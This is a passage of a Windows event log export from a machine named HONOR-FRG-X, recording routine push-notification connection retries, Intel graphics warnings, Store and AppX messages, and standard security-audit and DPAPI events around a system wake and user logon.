0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:47:37.038\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:37.039\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:37.124\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:37.124\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:45.896\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:45.896\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:45.896\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:45.912\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.646\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.646\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.646\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.646\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.646\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.646\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.658\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.672\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.674\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.683\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.684\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.684\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.687\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:48:00.687\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:48:09.464\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:09.465\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:09.472\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:09.472\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:14.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:48:18.258\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:18.259\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:18.259\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:18.263\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:47.539\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:48:47.876\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:00.891\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:49:00.992\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:05.786\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:08.570\t326\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeployment/Operational\tMicrosoft-Windows-AppXDeployment\n05.09.2026 08:49:08.574\t819\tThe following packages will be installed: . The following packages will be removed: \tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:49:08.731\t327\tThe following packages will be installed: NULL. The following packages will be removed: NULL\tVerbose\tMicrosoft-Windows-AppXDeployment/Operational\tMicrosoft-Windows-AppXDeployment\n05.09.2026 08:49:11.483\t102\tClipSVC service has shutdown.\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:49:26.439\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:26.998\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:28.113\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:29.332\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:29.555\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:35.584\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:39.146\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:50:40.478\t3057\tPresentation Endpoint received a call to close session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:50:40.478\t3058\tPresentation Endpoint ended a call to close session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:50:40.478\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:50:40.478\t3004\tTile session 3 is being closed\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:50:40.478\t3005\tTile session 3 is closed with error code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:50:41.517\t811\tThe winlogon notification subscriber  began handling the notification event (4).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:50:41.519\t812\tThe winlogon notification subscriber  finished handling the notification event (4).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:50:41.519\t811\tThe winlogon notification subscriber  began handling the notification event (4).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:50:41.520\t812\tThe winlogon notification subscriber  finished handling the notification event (4).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:50:41.528\t2\t{\"category\":\"Navigation\",\"level\":\"Information\",\"message\":\"Reload/unload page\",\"parameters\":{\"caller\":\"OnSessionStateChanged\",\"sessionState\":\"Lock\",\"mainWindowVisible\":\"False\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:50:41.538\t177\tReceived console locked notification\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:50:41.544\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"App_Extension\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Exited\",\"value\":\"PerformanceMetrics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:50:41.545\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"App_Extension\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Exited\",\"value\":\"Performance\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:50:41.548\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:50:41.549\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:50:41.549\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:50:41.554\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:50:41.554\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:50:41.559\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:50:41.561\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:50:41.561\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:50:41.617\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x10c4\n\tProcess Name:\t\tC:\\Windows\\System32\\LogonUI.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:50:43.147\t2416\tA local notification was received from MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:50:43.149\t2418\tA local notification was submitted to threadpool: MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] tile [NotificationType] 9400 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:01.912\t211\tAdded process 2696 to Desktop AppX container 245cdaf2-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:51:14.641\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:14.641\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:14.887\t10\t\tError\tIntel-Gfx-Display-External/GfxDisplayExEventViewer\tIntel-Gfx-Display-External\n05.09.2026 08:51:15.033\t507\t\"The system is exiting Modern Standby \n\nReason: Input Keyboard.\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:51:15.033\t566\t\"The system session has transitioned from 1 to 3.\n\nReason InputAccelerometer \n\nBootId: 82\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:51:15.055\t179\tReceived session display notification\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:51:15.055\t1025\tA Power event was fired: MonitorSettingChange [PowerEventType] true [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:15.056\t1025\tA Power event was fired: MonitorSettingChange [PowerEventType] true [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.562\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.562\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.563\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.563\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.565\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.566\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.568\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.578\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.579\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.579\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.875\t12289\t\"DPAPI found credential key.\n\n \tCredential Key Identifier:\t0x06D97C618B44CF98843820BCDDCC91F4B12D43F5A34189AE108C7BC82636830E\n \tUser Name:\tadmin\n \tUser Sid:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\"\tInformation\tMicrosoft-Windows-Crypto-DPAPI/Operational\tMicrosoft-Windows-Crypto-DPAPI\n05.09.2026 08:51:16.875\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x6c4\n\tProcess Name:\t\tC:\\Windows\\System32\\lsass.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.878\t12289\t\"DPAPI found credential key.\n\n \tCredential Key Identifier:\t0x06D97C618B44CF98843820BCDDCC91F4B12D43F5A34189AE108C7BC82636830E\n \tUser Name:\tadmin\n \tUser Sid:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\"\tInformation\tMicrosoft-Windows-Crypto-DPAPI/Operational\tMicrosoft-Windows-Crypto-DPAPI\n05.09.2026 08:51:16.879\t12289\t\"DPAPI found credential key.\n\n \tCredential Key Identifier:\t0x06D97C618B44CF98843820BCDDCC91F4B12D43F5A34189AE108C7BC82636830E\n \tUser Name:\tadmin\n \tUser Sid:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\"\tInformation\tMicrosoft-Windows-Crypto-DPAPI/Operational\tMicrosoft-Windows-Crypto-DPAPI\n05.09.2026 08:51:16.888\t4648\t\"A logon was attempted using explicit credentials.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nAccount Whose Credentials Were Used:\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nTarget Server:\n\tTarget Server Name:\tlocalhost\n\tAdditional Information:\tlocalhost\n\nProcess Information:\n\tProcess ID:\t\t0xb88\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\n\nNetwork Information:\n\tNetwork Address:\t127.0.0.1\n\tPort:\t\t\t0\n\nThis event is generated when a process attempts to log on an account by explicitly specifying that account\u2019s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.888\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated 